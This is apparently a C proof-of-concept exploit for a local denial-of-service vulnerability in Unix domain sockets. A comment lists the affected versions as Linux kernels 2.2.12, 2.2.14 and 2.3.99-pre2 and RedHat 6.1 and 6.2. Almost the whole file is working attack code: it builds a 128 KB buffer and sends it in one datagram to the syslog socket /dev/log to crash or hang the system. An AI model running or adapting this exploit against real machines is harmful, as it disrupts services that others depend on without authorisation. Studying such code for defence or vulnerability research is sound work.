/*
   Domain Socket Denial of Service Vulnerability
 
   Affected:
     Linux kernel 2.3.99-pre2
     Linux kernel 2.2.14
     Linux kernel 2.2.12
     RedHat Linux 6.2
     RedHat Linux 6.1 sparc
     RedHat Linux 6.1 i386
     RedHat Linux 6.1 alpha
*/

#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>

char buf[128 * 1024];

int main ( int argc, char **argv )
{
  struct sockaddr SyslogAddr;
  int LogFile;
  int bufsize = sizeof(buf)-5;
  int i;

  for ( i = 0; i < bufsize; i++ )
    buf[i] = ' '+(i%95);
  buf[i] = '\0';

  SyslogAddr.sa_family = AF_UNIX;
  strncpy ( SyslogAddr.sa_data, "/dev/log", sizeof(SyslogAddr.sa_data) );
  LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
  sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr) );
  return 0;
}